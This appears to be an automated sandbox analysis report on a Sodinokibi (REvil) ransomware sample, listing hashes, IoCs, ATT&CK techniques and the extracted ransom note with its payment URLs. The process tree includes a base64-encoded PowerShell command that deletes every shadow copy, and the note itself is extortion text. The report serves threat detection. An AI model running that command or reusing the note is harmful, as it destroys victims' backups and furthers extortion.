sodinokibi | 0d29becc6f92a5a1bdce5223867e13596d9dad5d37ef61a38701747e26e86018

General

Target

c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
Size

164KB
MD5

c4f6fca09af28473aac8647fad42734e
SHA1

564f41f54b76b850491259cd71ab0ade9a6d18ac
SHA256

0d29becc6f92a5a1bdce5223867e13596d9dad5d37ef61a38701747e26e86018
SHA512

89f758dbbae7c8cec596343316e121b635b5268866517c7c754b3919b074bcc82cfc006851127662e978f0d234d91f0e061cd5449e29dfd38936fc4358cabf85
SSDEEP

3072:VY+/DEGmOECUR5ai2XGmSQEjv5TpF+OjN57YEWeVw:VY+gT/Cu8i2W5jh7xz7B

Score

10^/10

sodinokibi discovery ransomware

Malware Config

Extracted

Path

C:\Recovery\36a36k-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension 36a36k. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/843217B2BA12E2FE 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/843217B2BA12E2FE Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: xSnp00Y2aBnovvErdVjc9Ma/Y4YIxKWQMM3vPbUZYivg0u95MWAa+sQad5JHsQDX Bf1/UhdZvqf1SYqD2kyhA1QLOgEtruqeKqokouN+jgkBXXaWm2B4cl8pjBPpnlpT KXP/HOBgtLc8okSP/XkQFBn4oTaoh6bruL0UZhhtUMmFzZewYym1AADHuIKGd0Zu dGKHFMIkwf9t6oNsAj16lYPAnPXkl1HSMdkL0oWRhV3L5oeWioYTOvomhWRUWaHT 1Dj0QkyZkUwKe/LtpDtvwBfm+0C1VtPV580c6m/OeC56KwBK95VK1dEl7dOhBAhW DxorqvStGVJ76kxDNiGB+LSlI25BtVoT1J6ot26z1rzsHfFqlk24YvaIl5pxfiFi z/R470i7IZyZXPZmMwNMxweAU0ensNDzmPbxXtvnf6JF38m9DjV1Dw8oktdUREXW x8JQ6642iFVlMwLXXw7qNK2hcDiPItR6GEC7Frf2zuteEHRiPwoFnldqKh0d8zEn vjPBTNWFnOYvOM28Nf7dU9nUYL/b0x9wlKbcQxCUhmaDlv1DaFE45512DvDPgoJ4 mXO/DLxplXjUM62durPr5/92sXLoxS2FgR3LW046Zffgm/K+baldjsjgCfra81Yj d/WZPQgJdVwVD6j2IiavjqZZ1laiNT85IgxIhySTUSVjG/ux3UjxooPazQHQx7sw u2ZSv/iuzWLJBcmBt3j3Peh56M0jOGeNQsWP3QA2KmWt5NiZQBSuXYMNBWY0mM3l 8PUu/E0I/7Vok6GIx+xYVK0B+mPKs3tBLLQnYa2yLikAIe8vG+NkkjjUSOQ07loF mdVSa8bCh1KtTBjDSqzTYmgHeVPRhpZKWWdshLp96BiaBp02ty2EwlKSOvg+DyMk WCsJ/f16K0hRf2kDPn6uw5ElP9l9+y/jQtC0VBFvFiT3iE+BFAkz0+7jS0K4jhRZ u07FXJmHLbhkFyKMyakVUJQhvOlZFN8qr1IMvTLUFX/a3RCd07VUn171FpaxKHfd 0pgbOYwKMd6FIECFypNhdwC6Pim3C5Wl6tQyZI+kPVP+iSJu0W4aYbKnuF4j35gw 6Y7Ym2Mtmtnh5DQHzQj9eWCHrabmtXQAF4JpxBg5TcEDyqhW9x8/UKaRyEQGucm0 aATa497Q+9eLvCuRBR/iqlu1BIBqmOictpT5WG6H1KNyfxckLEZWfmVGKO2ETqow Jo0IwLUMHKLIAsTBtlySLyG8 Extension name: 36a36k ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/843217B2BA12E2FE

http://decryptor.top/843217B2BA12E2FE

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe

description	ioc	process
File opened (read-only)	\??\H:	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
File opened (read-only)	\??\J:	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
File opened (read-only)	\??\M:	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
File opened (read-only)	\??\R:	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
File opened (read-only)	\??\V:	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
File opened (read-only)	\??\D:	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
File opened (read-only)	\??\E:	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
File opened (read-only)	\??\S:	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
File opened (read-only)	\??\B:	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
File opened (read-only)	\??\P:	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
File opened (read-only)	\??\W:	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
File opened (read-only)	\??\A:	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
File opened (read-only)	\??\L:	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
File opened (read-only)	\??\U:	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
File opened (read-only)	\??\T:	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
File opened (read-only)	\??\Y:	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
File opened (read-only)	\??\O:	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
File opened (read-only)	\??\Q:	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
File opened (read-only)	\??\X:	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
File opened (read-only)	\??\I:	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
File opened (read-only)	\??\K:	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
File opened (read-only)	\??\N:	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
File opened (read-only)	\??\Z:	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
File opened (read-only)	\??\F:	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
File opened (read-only)	\??\G:	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\e2d.bmp"	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe

Drops file in Program Files directory 22 IoCs

Processes:

c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe

description	ioc	process
File opened for modification	\??\c:\program files\LockSend.svg	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
File created	\??\c:\program files\36a36k-readme.txt	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
File created	\??\c:\program files (x86)\36a36k-readme.txt	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\InstallWatch.fon	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\LockInstall.eps	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\UseSuspend.aifc	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\InvokeMove.ADTS	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\MeasureConnect.dotx	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\SuspendRename.001	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\SwitchConvert.mp4v	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ShowMove.ram	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\SwitchReset.pot	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\TestFormat.wmx	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\TraceDeny.xlsx	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ConvertToDismount.ps1xml	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\LimitConvertTo.cr2	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\MergeRedo.vb	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ResumeSplit.ini	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\UnlockOptimize.shtml	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\AssertUpdate.xht	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\GroupAdd.js	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\UpdateMerge.wmv	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
discovery

System Language Discovery
T1614.001

Processes:

c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe

description ioc process

Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exepowershell.exe

pid	process
1316	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
1316	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
4300	powershell.exe
4300	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	4300	powershell.exe
Token: SeBackupPrivilege	3320	vssvc.exe
Token: SeRestorePrivilege	3320	vssvc.exe
Token: SeAuditPrivilege	3320	vssvc.exe

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe

description	pid	process	target process
PID 1316 wrote to memory of 4300	1316	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe	powershell.exe
PID 1316 wrote to memory of 4300	1316	c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe	powershell.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe"
1⤵
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1316
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4300

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:1192

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3320

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Recovery\36a36k-readme.txt

Filesize
6KB

MD5
009985544ce883903977f2346b20263f

SHA1
d3baec70199bf1de0b0e10752ee76a5ff8c4a6dc

SHA256
dd54cc7bf6adb1c54cbf2ffef1319d8d34b9d51a58583fca28a1b31edeac7219

SHA512
bb8b3e70da96643de88c7e665cf3d8d7f5c8ecd7daea6aaeccae43d6878b0d3cbad2ce67350c61bf4b1d35357ef36a91ca42ef688048d724b76ae24271403369

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qy5ph2ck.tsn.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4300-0-0x00007FFE83B13000-0x00007FFE83B15000-memory.dmp

Filesize
8KB

Download
memory/4300-10-0x0000011DDE1F0000-0x0000011DDE212000-memory.dmp

Filesize
136KB

Download
memory/4300-11-0x00007FFE83B10000-0x00007FFE845D1000-memory.dmp

Filesize
10.8MB

Download
memory/4300-12-0x00007FFE83B10000-0x00007FFE845D1000-memory.dmp

Filesize
10.8MB

Download
memory/4300-15-0x00007FFE83B10000-0x00007FFE845D1000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads